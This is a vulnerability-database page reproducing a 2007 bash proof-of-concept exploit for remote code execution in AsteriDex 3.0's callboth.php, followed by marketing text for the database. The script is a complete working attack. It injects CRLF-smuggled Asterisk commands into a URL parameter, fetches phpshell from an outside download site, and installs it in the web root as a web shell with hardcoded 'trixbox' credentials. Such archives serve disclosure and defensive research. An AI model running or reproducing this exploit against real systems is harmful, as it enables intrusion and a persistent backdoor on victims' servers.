Lucene search
K

AsteriDex <= 3.0 - Remote (callboth.php) Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

AsteriDex <= 3.0 - Remote Code Executio

Code

                                                ##
## Begin exploit
##
#!/bin/bash

echo Asteridex PoC Exploit (callboth.php vulnerability)
echo By Carl Livitt / Hoku Security / June 2007
echo

# This has to be (a) a valid SIP address, and (b) must answer when dialled.
# The exploit will fail without these conditions being met.
# Currently uses the Melonite SIP echo test service.
SIP=&#34;[email protected]&#34;

# Magic number, don&#39;t change. The default installation of AsteriDex checks
# for this number and fails without it.
SEQ=654321

# Other stuff we need
LOC=/asteridex/callboth.php
OUT=123456

# Sanity
if [ &#34;$1X&#34; == &#34;X&#34; ]; then
       echo Syntax: $0 \&#60;Host IP\[:port\]\&#62;
       echo For example: $0 www.example.com:8080
       exit 1
fi

# Insanity
echo &#34;[-] Exploiting host $1 - please wait&#34;
echo -n &#39;[+]&#39; Building shell script
curl &#34;http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20\!/bin/sh&#62;/tmp/t%0d%0a&#34; &&#62;/dev/null
echo -n .
curl &#34;http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20%2dn%20wget%20%2dO%20x.tar.bz2%20%5c%27http://%3e%3e/tmp/t%0d%0a&#34; &&#62;/dev/null
echo -n .
curl &#34;http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20%2dn%20prdownloads.sf.net/phpshell/%3e%3e/tmp/t%0d%0a&#34; &&#62;/dev/null
echo .
curl &#34;http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20phpshell%2d2.1.tar.bz2%3fdownload%5c%27%3e%3e/tmp/t%0d%0a&#34; &&#62;/dev/null
echo &#39;[+] Executing shell script&#39;
curl &#34;http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp;chmod%20%2bx%20t;./t;tar%20jxf%20x.tar.bz2%0d%0a&#34; &&#62;/dev/null
echo -n &#39;[+] Setting up phpshell&#39;
curl &#34;http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20cd%20/tmp;mv%20phpshell-2.1%20p%0d%0a&#34; &&#62;/dev/null
echo -n .
curl &#34;http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp/p;echo%20%5c%5busers%5c%5d&#62;config.php%0d%0a&#34; &&#62;/dev/null
echo -n .
curl &#34;http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp/p;echo%20%27trixbox%3d%22trixbox%22%27&#62;&#62;config.php%0d%0a&#34; &&#62;/dev/null
echo .
curl &#34;http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20mv%20/tmp/p%20/var/www/html/phpshell%0d%0a&#34; &&#62;/dev/null

# Have a nice day
echo &#34;Done! You should now be able to browse to http://$1/phpshell/phpshell.php&#34;
echo You can login with the username \&#39;trixbox\&#39; and password \&#39;trixbox\&#39;

##
## End Exploit
##

# milw0rm.com [2007-07-05]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation